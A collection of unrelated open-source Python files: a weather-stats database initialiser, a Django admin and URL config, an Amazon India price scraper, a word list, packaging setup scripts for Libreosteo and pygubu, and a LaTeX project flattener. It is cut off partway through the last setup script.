"\",\"" + password + "\", \""+db+"\", "+str(ssl)+" )" ) else: dbcursor.execute(\ "INSERT INTO InfluxDB (Host, Port, User, Password, Database,SSL,SSLVerify)\n"\ "VALUES (\"" + host + "\",\"" + port + "\",\"" + user + "\", NULL, \""+db+"\", "+str(ssl)+", "+str(sslVerify)+" )" ) ColorPrint.ColorPrint("InfluxDB added", "okgreen") dbconn.commit() ############################################################################## #Main #First, check if database exists and create empty one if not if dbexists == False: CreateEmptyDB() ColorPrint.ColorPrint("New database created", "okgreen") #Now, add accounts res = dbcursor.execute("SELECT * FROM Accounts").fetchall() if len(res) == 0: AddAccount() # Initialize accounts InitializeAccounts() #Add InfluxDB res = dbcursor.execute("SELECT * FROM InfluxDB").fetchall() if len(res) == 0: AddInflux() dbconn.commit() dbconn.close()
thielul/WeatherStats
Initialize.py
Python
gpl-3.0
12,466
from django.contrib import admin from django.contrib.auth.admin import UserAdmin from .models import User class UserAdmin(UserAdmin): fieldsets = ( ('User', {'fields' : ('username', 'password')}), ('Personal Information', {'fields': ('first_name', 'last_name', 'email', 'avatar')}), ('Permissions', {'fields': ('is_active', 'is_staff', 'is_superuser', 'groups', 'user_permissions')}), ) admin.site.register(User, UserAdmin)
AlexandroPQC/django_discusion
SistemaDiscusiones/users/admin.py
Python
gpl-3.0
735
from lxml import html import csv, os, json import requests from exceptions import ValueError from time import sleep import urllib import lxml.html AsinList = "" data = [] extracted_data_amazon_india = [] amazindialist = [] def AmazonParser(papa): url = "http://www.amazon.in/dp/" + papa print "Processing: " + url headers = { 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 '} page = requests.get(url, headers=headers) while True: sleep(3) try: doc = html.fromstring(page.content) XPATH_NAME = '//h1[@id="title"]//text()' XPATH_SALE_PRICE = '//span[contains(@id,"ourprice") or contains(@id,"saleprice")]/text()' XPATH_ORIGINAL_PRICE = '//td[contains(text(),"List Price") or contains(text(),"M.R.P") or contains(text(),"Price")]/following-sibling::td/text()' XPATH_CATEGORY = '//a[@class="a-link-normal a-color-tertiary"]//text()' XPATH_AVAILABILITY = '//div[@id="availability"]//text()' RAW_NAME = doc.xpath(XPATH_NAME) RAW_SALE_PRICE = doc.xpath(XPATH_SALE_PRICE) RAW_CATEGORY = doc.xpath(XPATH_CATEGORY) RAW_ORIGINAL_PRICE = doc.xpath(XPATH_ORIGINAL_PRICE) RAw_AVAILABILITY = doc.xpath(XPATH_AVAILABILITY) NAME = ' '.join(''.join(RAW_NAME).split()) if RAW_NAME else None SALE_PRICE = ' '.join(''.join(RAW_SALE_PRICE).split()).strip() if RAW_SALE_PRICE else None CATEGORY = ' > '.join([i.strip() for i in RAW_CATEGORY]) if RAW_CATEGORY else None ORIGINAL_PRICE = ''.join(RAW_ORIGINAL_PRICE).strip() if RAW_ORIGINAL_PRICE else None AVAILABILITY = ''.join(RAw_AVAILABILITY).strip() if RAw_AVAILABILITY else None if not ORIGINAL_PRICE: ORIGINAL_PRICE = SALE_PRICE if page.status_code != 200: raise ValueError('captha') data = { 'NAME': NAME, 'SALE_PRICE': SALE_PRICE, 'CATEGORY': CATEGORY, 'ORIGINAL_PRICE': ORIGINAL_PRICE, 'AVAILABILITY': AVAILABILITY, 'URL': url, } extracted_data_amazon_india.append(data) return data except Exception as e: print e def initialamazon_India(data): urlprod = "http://www.amazon.in/s/ref=nb_sb_noss?url=search-alias%3Daps&field-keywords=" + data headers = { 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 '} page = requests.get(urlprod, headers=headers) dom = html.fromstring(page.content) for link in dom.xpath('//li[@id="result_0"]/@data-asin'): # select the url in href for all a tags(links) AmazonParser(link) a = raw_input() b = raw_input() data.append(a) data.append(b) i = 0 j = 0 while i < len(data): print "Inside link no" + str(i) initialamazon_India(data[i]) i = i + 1 while j < len(data): dasta = extracted_data_amazon_india[j] print dasta["NAME"] j = j + 1
smartyrad/Python-scripts-for-web-scraping
amazon_india_searchplusdetails.py
Python
gpl-3.0
3,121
# This file is part of Slocky # # Slocky is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Slocky is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Slocky. If not, see <http://www.gnu.org/licenses/>. # Wordlist for BASIC_ENGLISH is from # http://www2.educ.fukushima-u.ac.jp/~ryota/word-list.html # via https://en.wiktionary.org/wiki/Appendix:Basic_English_word_list BASIC_ENGLISH = tuple([i.lower().strip() for i in str.split(str.strip(""" COME GET GIVE GO KEEP LET MAKE PUT SEEM TAKE BE DO HAVE SAY SEE SEND MAY WILL ABOUT ACROSS AFTER AGAINST AMONG AT BEFORE BETWEEN BY DOWN FROM IN OFF ON OVER THROUGH TO UNDER UP WITH AS FOR OF TILL THAN A THE ALL ANY EVERY LITTLE MUCH NO OTHER SOME SUCH THAT THIS I HE YOU WHO AND BECAUSE BUT OR IF THOUGH WHILE HOW WHEN WHERE WHY AGAIN EVER FAR FORWARD HERE NEAR NOW OUT STILL THEN THERE TOGETHER WELL ALMOST ENOUGH EVEN NOT ONLY QUITE SO VERY TOMORROW YESTERDAY NORTH SOUTH EAST WEST PLEASE YES ACCOUNT ACT ADDITION ADJUSTMENT ADVERTISEMENT AGREEMENT AIR AMOUNT AMUSEMENT ANIMAL ANSWER APPARATUS APPROVAL ARGUMENT ART ATTACK ATTEMPT ATTENTION ATTRACTION AUTHORITY BACK BALANCE BASE BEHAVIOR BELIEF BIRTH BIT BITE BLOOD BLOW BODY BRASS BREAD BREATH BROTHER BUILDING BURN BURST BUSINESS BUTTER CANVAS CARE CAUSE CHALK CHANCE CHANGE CLOTH COAL COLOR COMFORT COMMITTEE COMPANY COMPARISON COMPETITION CONDITION CONNECTION CONTROL COOK COPPER COPY CORK COTTON COUGH COUNTRY COVER CRACK CREDIT CRIME CRUSH CRY CURRENT CURVE DAMAGE DANGER DAUGHTER DAY DEATH DEBT DECISION DEGREE DESIGN DESIRE DESTRUCTION DETAIL DEVELOPMENT DIGESTION DIRECTION DISCOVERY DISCUSSION DISEASE DISGUST DISTANCE DISTRIBUTION DIVISION DOUBT DRINK DRIVING DUST EARTH EDGE EDUCATION EFFECT END ERROR EVENT EXAMPLE EXCHANGE EXISTENCE EXPANSION EXPERIENCE EXPERT FACT FALL FAMILY FATHER FEAR FEELING FICTION FIELD FIGHT FIRE FLAME FLIGHT FLOWER FOLD FOOD FORCE FORM FRIEND FRONT FRUIT GLASS GOLD GOVERNMENT GRAIN GRASS GRIP GROUP GROWTH GUIDE HARBOR HARMONY HATE HEARING HEAT HELP HISTORY HOLE HOPE HOUR HUMOR ICE IDEA IMPULSE INCREASE INDUSTRY INK INSECT INSTRUMENT INSURANCE INTEREST INVENTION IRON JELLY JOIN JOURNEY JUDGE JUMP KICK KISS KNOWLEDGE LAND LANGUAGE LAUGH LAW LEAD LEARNING LEATHER LETTER LEVEL LIFT LIGHT LIMIT LINEN LIQUID LIST LOOK LOSS LOVE MACHINE MAN MANAGER MARK MARKET MASS MEAL MEASURE MEAT MEETING MEMORY METAL MIDDLE MILK MIND MINE MINUTE MIST MONEY MONTH MORNING MOTHER MOTION MOUNTAIN MOVE MUSIC NAME NATION NEED NEWS NIGHT NOISE NOTE NUMBER OBSERVATION OFFER OIL OPERATION OPINION ORDER ORGANIZATION ORNAMENT OWNER PAGE PAIN PAINT PAPER PART PASTE PAYMENT PEACE PERSON PLACE PLANT PLAY PLEASURE POINT POISON POLISH PORTER POSITION POWDER POWER PRICE PRINT PROCESS PRODUCE PROFIT PROPERTY PROSE PROTEST PULL PUNISHMENT PURPOSE PUSH QUALITY QUESTION RAIN RANGE RATE RAY REACTION READING REASON RECORD REGRET RELATION RELIGION REPRESENTATIVE REQUEST RESPECT REST REWARD RHYTHM RICE RIVER ROAD ROLL ROOM RUB RULE RUN SALT SAND SCALE SCIENCE SEA SEAT SECRETARY SELECTION SELF SENSE SERVANT SEX SHADE SHAKE SHAME SHOCK SIDE SIGN SILK SILVER SISTER SIZE SKY SLEEP SLIP SLOPE SMASH SMELL SMILE SMOKE SNEEZE SNOW SOAP SOCIETY SON SONG SORT SOUND SOUP SPACE STAGE START STATEMENT STEAM STEEL STEP STITCH STONE STOP STORY STRETCH STRUCTURE SUBSTANCE SUGAR SUGGESTION SUMMER SUPPORT SURPRISE SWIM SYSTEM TALK TASTE TAX TEACHING TENDENCY TEST THEORY THING THOUGHT THUNDER TIME TIN TOP TOUCH TRADE TRANSPORT TRICK TROUBLE TURN TWIST UNIT USE VALUE VERSE VESSEL VIEW VOICE WALK WAR WASH WASTE WATER WAVE WAX WAY WEATHER WEEK WEIGHT WIND WINE WINTER WOMAN WOOD WOOL WORD WORK WOUND WRITING YEAR ANGLE ANT APPLE ARCH ARM ARMY BABY BAG BALL BAND BASIN BASKET BATH BED BEE BELL BERRY BIRD BLADE BOARD BOAT BONE BOOK BOOT BOTTLE BOX BOY BRAIN BRAKE BRANCH BRICK BRIDGE BRUSH BUCKET BULB BUTTON CAKE CAMERA CARD CART CARRIAGE CAT CHAIN CHEESE CHEST CHIN CHURCH CIRCLE CLOCK CLOUD COAT COLLAR COMB CORD COW CUP CURTAIN CUSHION DOG DOOR DRAIN DRAWER DRESS DROP EAR EGG ENGINE EYE FACE FARM FEATHER FINGER FISH FLAG FLOOR FLY FOOT FORK FOWL FRAME GARDEN GIRL GLOVE GOAT GUN HAIR HAMMER HAND HAT HEAD HEART HOOK HORN HORSE HOSPITAL HOUSE ISLAND JEWEL KETTLE KEY KNEE KNIFE KNOT LEAF LEG LIBRARY LINE LIP LOCK MAP MATCH MONKEY MOON MOUTH MUSCLE NAIL NECK NEEDLE NERVE NET NOSE NUT OFFICE ORANGE OVEN PARCEL PEN PENCIL PICTURE PIG PIN PIPE PLANE PLATE PLOUGH POCKET POT POTATO PRISON PUMP RAIL RAT RECEIPT RING ROD ROOF ROOT SAIL SCHOOL SCISSORS SCREW SEED SHEEP SHELF SHIP SHIRT SHOE SKIN SKIRT SNAKE SOCK SPADE SPONGE SPOON SPRING SQUARE STAMP STAR STATION STEM STICK STOCKING STOMACH STORE STREET SUN TABLE TAIL THREAD THROAT THUMB TICKET TOE TONGUE TOOTH TOWN TRAIN TRAY TREE TROUSERS UMBRELLA WALL WATCH WHEEL WHIP WHISTLE WINDOW WING WIRE WORM ABLE ACID ANGRY AUTOMATIC BEAUTIFUL BLACK BOILING BRIGHT BROKEN BROWN CHEAP CHEMICAL CHIEF CLEAN CLEAR COMMON COMPLEX CONSCIOUS CUT DEEP DEPENDENT EARLY ELASTIC ELECTRIC EQUAL FAT FERTILE FIRST FIXED FLAT FREE FREQUENT FULL GENERAL GOOD GREAT HANGING HAPPY HARD HEALTHY HIGH HOLLOW IMPORTANT KIND LIKE LIVING LONG MALE MARRIED MATERIAL MEDICAL MILITARY NATURAL NECESSARY NEW NORMAL OPEN PARALLEL PAST PHYSICAL POLITICAL POOR POSSIBLE PRESENT PRIVATE PROBABLE QUICK QUIET READY RED REGULAR RESPONSIBLE RIGHT ROUND SAME SECOND SEPARATE SERIOUS SHARP SMOOTH STICKY STIFF STRAIGHT STRONG SUDDEN SWEET TALL THICK TIGHT TIRED TRUE VIOLENT WAITING WARM WET WIDE WISE YELLOW YOUNG AWAKE BAD BENT BITTER BLUE CERTAIN COLD COMPLETE CRUEL DARK DEAD DEAR DELICATE DIFFERENT DIRTY DRY FALSE FEEBLE FEMALE FOOLISH FUTURE GREEN ILL LAST LATE LEFT LOOSE LOUD LOW MIXED NARROW OLD OPPOSITE PUBLIC ROUGH SAD SAFE SECRET SHORT SHUT SIMPLE SLOW SMALL SOFT SOLID SPECIAL STRANGE THIN WHITE WRONG """), "\n")])
Aeva/slocky
slocky/words.py
Python
gpl-3.0
6,203
from labtracker.tests.functional_tests import * from labtracker.tests.unit_tests import *
danielstjules/labtracker
labtracker/tests/__init__.py
Python
gpl-3.0
90
import sys, glob, os import shutil import libreosteoweb version = libreosteoweb.__version__ # Utility function to read the README file. # Used for the long_description. It's nice, because now 1) we have a top level # README file and 2) it's easier to type in the README file than to put a raw # string in below ... def read(fname): return open(os.path.join(os.path.dirname(__file__), fname)).read() def remove_useless_files(directory, keepfiles_list, keepdir_list): keep_path_list = [] for root,directories,files in os.walk(directory): for d in directories : if d in keepdir_list or root in keep_path_list: keep_path_list.append(os.path.join(root,d)) for f in files : if root not in keep_path_list and f not in keepfiles_list: os.remove(os.path.join(root,f)) for d in directories: if os.path.join(root,d) not in keep_path_list: shutil.rmtree(os.path.join(root,d)) def collectstatic(): from subprocess import call call(["python", "manage.py", "collectstatic", "--noinput"]) def compress(): from subprocess import call call(["python", "manage.py", "compress", "--force"]) def compilejsi18n(): from subprocess import call call(["python", "manage.py", "compilejsi18n"]) def purge_static(): purge_dir = ['bower_components'] keep_path = ['bower_components/webshim'] to_remove_list = [] # For each dir in purge dir from static : # delete each files for root, directories, files in os.walk('static'): for p in purge_dir: for d in directories: if root == os.path.join('static', p): for a in keep_path: if d not in os.path.split(a): shutil.rmtree(os.path.join(root,d)) # Build on Windows. # # usage : # python setup.py build_exe # if sys.platform in ['win32']: # before all of things : collectstatic collectstatic() compilejsi18n() compress() from cx_Freeze import setup, Executable # GUI applications require a different base on Windows (the default is for a # console application). base='Console' import os.path PYTHON_INSTALL_DIR = os.path.dirname(os.path.dirname(os.__file__)) os.environ['TCL_LIBRARY'] = os.path.join(PYTHON_INSTALL_DIR, 'tcl', 'tcl8.6') os.environ['TK_LIBRARY'] = os.path.join(PYTHON_INSTALL_DIR, 'tcl', 'tk8.6') import compressor def get_djangolocale(): os.environ.setdefault("DJANGO_SETTINGS_MODULE", "Libreosteo.settings.standalone") import django directory = os.path.join(django.__path__[0], 'conf', 'locale') return [(directory, 'django/conf/locale')] def compressor_path(t) : print(t) (c, c1) = t return (c, c1.replace(compressor.__path__[0] + os.sep, '')) def get_compressor_templates(): directory = os.path.join(compressor.__path__[0], 'templates') list_files = get_filepaths(directory) return list(map(compressor_path, list_files)) def get_filepaths(directory, pyc_only=False): """ This function will generate the file names in a directory tree by walking the tree either top-down or bottom-up. For each directory in the tree rooted at directory top (including top itself), it yields a 3-tuple (dirpath, dirnames, filenames). """ file_paths = [] # List which will store all of the full filepaths. # Walk the tree. for root, directories, files in os.walk(directory): for filename in files: if pyc_only and not filename.endswith('.pyc'): continue # Join the two strings in order to form the full filepath. filepath = os.path.join(root, filename) file_paths.append((filepath, filepath)) # Add it to the list. for d in directories : rec_d = os.path.join(root, d) file_paths + get_filepaths(rec_d) return file_paths # Self-explanatory. def include_migration_files(directory): """ This function will generate the include from the list of python migration files in the directory """ migration_files = [] for root, directories, files in os.walk(directory): for filename in files : if (filename.endswith('.py')) and not (filename.startswith('__')): migration_files.append(directory.replace('/', '.') + '.' + filename[0:len(filename)-3]) return migration_files from cx_Freeze import setup, Executable copyDependentFiles = True includes = [ 'cherrypy', 'win32serviceutil', 'win32service', 'win32event', 'servicemanager','win32timezone', 'django.template.loader_tags', 'django.core.management', 'Libreosteo', 'Libreosteo.urls', 'Libreosteo.settings', 'Libreosteo.wsgi', 'Libreosteo.zip_loader', 'libreosteoweb.admin', 'libreosteoweb.middleware', 'libreosteoweb.models', 'libreosteoweb.search_indexes', 'libreosteoweb.api', 'libreosteoweb.apps', 'libreosteoweb.templatetags.invoice_extras', 'email.mime.image', "rcssmin", "rjsmin", ] migrations = [ 'libreosteoweb.migrations',"django.contrib.admin.migrations", "django.contrib.auth.migrations", "django.contrib.contenttypes.migrations", "django.contrib.sessions.migrations" ] include_files = get_filepaths('media') + get_filepaths('locale') + get_djangolocale() extra_includes = get_filepaths('templates') + get_compressor_templates() + get_filepaths('static') packages = [ "os", "django", #"htmlentitydefs", #"HTMLParser", #"Cookie", 'http', 'html', "rest_framework", "haystack", "sqlite3", "statici18n", "email", "Libreosteo", "compressor", "libreosteoweb", "pkg_resources._vendor", "django_filters" ] namespace_packages = [ "jaraco" ] in_zip_packages = includes + ['_markerlib', 'appconf','backports' , 'cheroot', 'compiler', 'compressor', 'ctypes', 'distutils', 'django_filters', 'email', 'encodings', 'haystack', 'importlib', 'json', 'logging', 'more_itertools', 'multiprocessing', 'pkg_resources', 'pydoc_data', 'rest_framework', 'rest_framework_csv', 'sqlite3', 'sqlparse', 'statici18n', 'tempora', 'test', 'unittest', 'whoosh', 'wsgiref' 'xml'] build_exe_options = { "packages": packages, "includes": includes + migrations, "include_files": include_files + extra_includes, #"zip_includes" : extra_includes, "excludes" : ['cStringIO','tcl','Tkinter'], #"no-compress" : False, "optimize" : 2, "namespace_packages" : namespace_packages, "zip_include_packages" : in_zip_packages, "zip_exclude_packages" : ['libreosteoweb'], "include_msvcr" : True } setup( name = "Libreosteo", version = version, description = "Libreosteo, suite for osteopaths", options = {"build_exe": build_exe_options}, executables = [Executable("winserver.py", base=base,targetName="Libreosteo.exe"), Executable("manage.py", base=base, targetName="manager.exe"), Executable("application.py", base=base, targetName="launcher.exe")]) # Create a web shorcut link build_dir = glob.glob('build/exe.win*') if len(build_dir) > 0 : shortlink = open(build_dir[0] + "/Libreosteo.url","w") shortlink.write("[InternetShortcut]\n") shortlink.write("URL=http://localhost:8085/\n") shortlink.write("\n") shortlink.write("\n") ##Remove useless locales remove_useless_files(build_dir[0] + "/django/conf/locale", [], ["fr","en"]) remove_useless_files(build_dir[0] + "/static/bower_components/angular-i18n", ["angular-locale_en.js", "angular-locale_en-us.js", "angular-locale_fr.js", "angular-locale_fr-fr.js"], []) ## Patch django migration loader from patch import patch_django_loader_pyc patch_django_loader_pyc('build/exe.*/') #### MACOS X build # # Usage: # python setup.py py2app if sys.platform in ['darwin']: from setuptools import setup # before all of things : collectstatic collectstatic() compilejsi18n() compress() APP = ['server.py'] DATA_FILES = ['static', 'locale','templates', 'media'] OPTIONS = {'argv_emulation': True, 'includes' : [ # 'HTMLParser', ], 'packages' : ["django","Libreosteo", "libreosteoweb","rest_framework", "haystack","sqlite3","statici18n", "email", "compressor","django_filters", ], 'plist' : { 'LSBackgroundOnly' : True, 'LSUIElement' : False, 'CFBundleIdentifier' : 'org.libreosteo.macos.libreosteo.service', 'CFBundleGetInfoString' : 'LibreosteoService', 'CFBundleDisplayName' : 'LibreosteoService', 'CFBundleName' : 'LibreosteoService', 'CFBundleShortVersionString' : version, 'CFBundleVersion' : version, }, 'extra_scripts': ['application.py','manage.py'], 'optimize' : True, 'iconfile' : 'libreosteoweb/static/images/favicon.icns', } setup( app=APP, data_files=DATA_FILES, options={'py2app': OPTIONS}, setup_requires=['py2app'], ) remove_useless_files("build/exe.win32-2.7/static/bower_components/angular-i18n", ["angular-locale_en.js", "angular-locale_en-us.js", "angular-locale_fr.js", "angular-locale_fr-fr.js"], []) elif sys.platform not in ['win32'] : # before all of things : collectstatic collectstatic() compilejsi18n() compress() from cx_Freeze import setup, Executable # GUI applications require a different base on Windows (the default is for a # console application). base='Console' def get_djangolocale(): os.environ.setdefault("DJANGO_SETTINGS_MODULE", "Libreosteo.settings.standalone") import django directory = os.path.join(django.__path__[0], 'conf', 'locale') return [(directory, 'django/conf/locale')] def get_compressor_templates(): import compressor directory = os.path.join(compressor.__path__[0], 'templates') list_files = get_filepaths(directory) return map(lambda c: (c,c.replace(compressor.__path__[0]+os.sep, '')), list_files) def get_filepaths(directory): """ This function will generate the file names in a directory tree by walking the tree either top-down or bottom-up. For each directory in the tree rooted at directory top (including top itself), it yields a 3-tuple (dirpath, dirnames, filenames). """ file_paths = [] # List which will store all of the full filepaths. # Walk the tree. for root, directories, files in os.walk(directory): for filename in files: # Join the two strings in order to form the full filepath. filepath = os.path.join(root, filename) file_paths.append(filepath) # Add it to the list. return file_paths # Self-explanatory. def include_migration_files(directory): """ This function will generate the include from the list of python migration files in the directory """ migration_files = [] for root, directories, files in os.walk(directory): for filename in files : if (filename.endswith('.py')) and not (filename.startswith('__')): migration_files.append(directory.replace('/', '.') + '.' + filename[0:len(filename)-3]) return migration_files from cx_Freeze import setup, Executable copyDependentFiles = True includes = [ 'cherrypy', 'django.template.loader_tags', 'django.core.management', 'Libreosteo', 'Libreosteo.urls', 'Libreosteo.settings', 'Libreosteo.wsgi', 'Libreosteo.zip_loader', 'libreosteoweb', 'libreosteoweb.admin', 'libreosteoweb.middleware', 'libreosteoweb.models', 'libreosteoweb.search_indexes', 'libreosteoweb.api', 'libreosteoweb.apps', 'libreosteoweb.templatetags.invoice_extras', 'email.mime.image', "django.contrib.admin.migrations.0001_initial", "django.contrib.auth.migrations.0001_initial", "django.contrib.auth.migrations.0002_alter_permission_name_max_length", "django.contrib.auth.migrations.0003_alter_user_email_max_length", "django.contrib.auth.migrations.0004_alter_user_username_opts", "django.contrib.auth.migrations.0005_alter_user_last_login_null", "django.contrib.auth.migrations.0006_require_contenttypes_0002", "django.contrib.contenttypes.migrations.0001_initial", "django.contrib.contenttypes.migrations.0002_remove_content_type_name", "django.contrib.sessions.migrations.0001_initial", "rcssmin", "rjsmin", ] + include_migration_files('libreosteoweb/migrations') include_files = get_filepaths('static') + get_filepaths('locale') + get_djangolocale() + get_filepaths('media') zip_includes = get_filepaths('templates') + get_compressor_templates() packages = [ "os", "django", "htmlentitydefs", "HTMLParser", "Cookie", "rest_framework", "haystack", "sqlite3", "statici18n", "email", "Libreosteo", "compressor", ] namespace_packages = [ "jaraco" ] build_exe_options = { "packages": packages, "includes": includes, #"include_files": include_files, "zip_includes" : zip_includes + include_files, "excludes" : ['cStringIO','tcl','Tkinter'], #"compressed" : True, #"create_shared_zip": True, #"append_script_to_exe": True, #"include_in_shared_zip" : True, "optimize" : 2, "namespace_packages" : namespace_packages, "zip_include_packages" : ["*"], "zip_exclude_packages" : [], } setup( name = "libreosteo", version = version, description = "Libreosteo, suite for osteopaths", options = {"build_exe": build_exe_options}, executables = [Executable("server.py", base=base,targetName="libreosteo"), Executable("manager.py", base=base)]) else : from setuptools import setup from setuptools import find_packages #collectstatic() #compress() #purge_static() from setuptools.command.build_py import build_py class BowerInstall(build_py): def run(self): self.run_command('build_bower') collectstatic() compress() compilejsi18n() purge_static() build_py.run(self) dependencies=open(os.path.join('requirements/requirements.txt'), 'rU').read().split('\n') setup( cmdclass={ 'bower' : BowerInstall, }, name='Libreosteo', version=version, description='Open source software and free software for osteopaths', author='Jean-Baptiste Gury', author_email='jeanbaptiste.gury@gmail.com', url='https://libreosteo.github.io', packages=find_packages(), entry_points = { 'console_scripts' : ['libreosteo-server=server:main'] }, install_requires=dependencies, include_package_data=True, exclude_package_data={'': ['.gitignore', 'db.sqlite3', '*.log']}, maintainer='Jean-Baptiste Gury', maintainer_email='jeanbaptiste.gury@gmail.com', license='GPL v3', classifiers=[ 'Environment :: Web Environment', 'Framework :: Django', 'Licence :: OSI Approoved :: GPLv3 Licence', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Internet :: WwW/HTTP :: Dynamic Content', ], )
littlejo/Libreosteo
setup.py
Python
gpl-3.0
16,733
from django.conf.urls import url from .views import * urlpatterns = [ url(r'^registro$', registro, name='registro'), url(r'^exportar_usuarios$', exportarUsuarios, name='exportar_usuarios'), url(r'^perfil_usuario/(?P<pid>\d+)$', perfilUsuario, name='perfil_usuario'), ]
corumcorp/redsentir
redsentir/seguridad/urls.py
Python
gpl-3.0
282
#!/usr/bin/env python3 # -*- coding: utf8; -*- # # Copyright (C) 2017-2018 : Kathrin Hanauer # # This file is part of LaFlaTeX. # # LaFlaTeX is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # """LaFlaTeX - Flatten your LaTeX projects.""" ############################################################################### import argparse from pathlib import Path import handlers import shutil ############################################################################### ############################################################################### class Environment: pass def processTexFileHandle(infile, ofile, env, cmd_handlers, inline_files): print("Processing latex file: {}".format(infile)) with infile.open() as ifile: for line in ifile: for h in cmd_handlers: line, stop = h.apply(line, env) if stop: break if line is not None: ofile.write(line) if inline_files: while env.files_to_process: i, o = env.files_to_process.pop(0) processTexFileHandle(i, ofile, env, cmd_handlers, inline_files) def processTexFile(infile, outfile, env, cmd_handlers, inline_files): print("Processing latex file: {}".format(infile)) with outfile.open('w') as ofile: processTexFileHandle(infile, ofile, env, cmd_handlers, inline_files) def main(): parser = argparse.ArgumentParser( description='Flatten LaTeX projects.') parser.add_argument('-o', '--outdir', action='store', type=str, default="laflatex", help='The output directory.') parser.add_argument('-r', '--remove', action='append', type=str, metavar='STRING', default=list(), help='Remove lines containing <STRING>.') parser.add_argument('-k', '--keep', action='append', type=str, metavar='STRING', default=list(), help='Keep lines containing <STRING>.') parser.add_argument('-u', '--uncomment', action='append', type=str, metavar='STRING', default=list(), help='Uncomment lines containing <STRING>.') parser.add_argument('-i', '--inline', action='store_true', default=False, help='Create one TEX file.') parser.add_argument('-f', '--file', action='append', type=str, metavar='STRING', default=list(), help='Replace occurrences of file <STRING>.') parser.add_argument('texfile', nargs='*', type=str, help='The main LaTeX file. ') args = parser.parse_args() env = Environment() env.cwd = Path('.') env.files_to_copy = [] env.files_to_process = [] env.graphics_path = env.cwd outdir = Path(args.outdir) if not outdir.exists(): outdir.mkdir() outdir = outdir.resolve() cmd_handlers = [ handlers.InlineCommentHandler(), handlers.LineCommentHandler(), handlers.CommentEnvironmentHandler(), handlers.DocumentClassHandler(), handlers.GraphicsPathHandler(), handlers.InputHandler(args.inline), handlers.BibliographyHandler(), handlers.IncludeGraphicsHandler() ] for custom_file in args.file: cmd_handlers.insert(0, handlers.GeneralFileHandler(custom_file)) for custom_str in args.keep: cmd_handlers.insert(0, handlers.CustomContentHandler(custom_str, True)) for custom_str in args.remove: cmd_handlers.insert(0, handlers.CustomContentHandler(custom_str, False)) for custom_str in args.uncomment: cmd_handlers.insert(0, handlers.CustomUncommentHandler(custom_str)) for t in args.texfile: env.main = Path(t) env.files_to_process.append((env.main.resolve(), t)) while env.files_to_process: i, o = env.files_to_process.pop(0) outfile = outdir / o processTexFile(i, outfile, env, cmd_handlers, args.inline) while env.files_to_copy: i, o = env.files_to_copy.pop(0) outfile = outdir / o try: shutil.copy(str(i), str(outfile)) except IOError as e: print("Could not copy file {} to {}: {}".format(str(i), str(outfile), e)) if __name__ == "__main__": main()
kalyi/LaFlaTeX
src/laflatex.py
Python
gpl-3.0
4,998
#!/usr/bin/env python3 # encoding: UTF-8 """Build tar.gz for pygubu Needed packages to run (using Debian/Ubuntu package names): python3-tk """ import sys import os import shutil import platform import pygubu VERSION = pygubu.__version__ with_setuptools = False if 'USE_SETUPTOOLS' in os.environ or 'pip' in __file__: try: from setuptools.command.install import install from setuptools import setup with_setuptools = True except: with_setuptools = False if with_setuptools is False: from distutils.command.install import install from distutils.core import setup class CustomInstall(install): """Custom installation class on package files. """ def run(self): """Run parent install, and then save the install dir in the script.""" install.run(self) # # fix installation path in the script(s) for script in self.distribution.scripts: script_path = os.path.join(self.install_scripts, os.path.basename(script)) with open(script_path) as fh: content = fh.read() ipath = os.path.abspath(self.install_lib) content = content.replace('@ INSTALLED_BASE_DIR @', ipath) with open(script_path, 'w') as fh: fh.write(content) if platform.system() == 'Windows': dest = script_path + '.py' shutil.move(script_path, dest) # # Remove old pygubu.py from scripts path if exists spath = os.path.join(self.install_scripts, 'pygubu') for ext in ('.py', '.pyw'): filename = spath + ext if os.path.exists(filename): os.remove(filename) # # Create .bat file on windows if platform.system() == 'Windows': pdpath = os.path.join(self.install_scripts, 'pygubu-designer.py') batpath = os.path.join(self.install_scripts, 'pygubu-designer.bat') with open(batpath, 'w') as batfile: content = "{0} {1}".format(sys.executable, pdpath) batfile.write(content) long_description = \ """ Welcome to pygubu a GUI designer for tkinter ============================================ Pygubu is a RAD tool to enable quick & easy development of user interfaces for the python tkinter module. The user interfaces designed are saved as XML, and by using the pygubu builder these can be loaded by applications dynamically as needed. Pygubu is inspired by Glade. Installation ------------ Pygubu requires python >= 2.7 (Tested only in python 2.7.3 and 3.2.3 with tk8.5) Download and extract the tarball. Open a console in the extraction path and execute: :: python setup.py install Usage ----- Create an UI definition using pygubu and save it to a file. Then, create your aplication script as shown below: :: #test.py import tkinter as tk import pygubu class Application: def __init__(self, master): #1: Create a builder self.builder = builder = pugubu.Builder() #2: Load an ui file builder.add_from_file('test.ui') #3: Create the widget using a master as parent self.mainwindow = builder.get_object('mainwindow', master) if __name__ == '__main__': root = tk.Tk() app = Application(root) root.mainloop() See the examples directory or watch this hello world example on video http://youtu.be/wuzV9P8geDg """ setup( name='pygubu', version=VERSION, license='GPL-3', author='Alejandro Autalán', author_email='alejandroautalan@gmail.com', description='A tkinter GUI builder.', long_description=long_description, url='https://github.com/alejandroautalan/pygubu', packages=['pygubu', 'pygubu.builder', 'pygubu.builder.widgets', 'pygubu.widgets', 'pygubudesigner', 'pygubudesigner.util', 'pygubudesigner.widgets'], package_data={ 'pygubudesigner': [ 'images/*.gif', 'images/widgets/*/*.gif', 'ui/*.ui', 'locale/*/*/*.mo'], }, scripts=["bin/pygubu-designer"], cmdclass={ 'install': CustomInstall, }, install_requires=['appdirs>=1.3'], classifiers=[ "Programming Language :: Python", "Programming Language :: 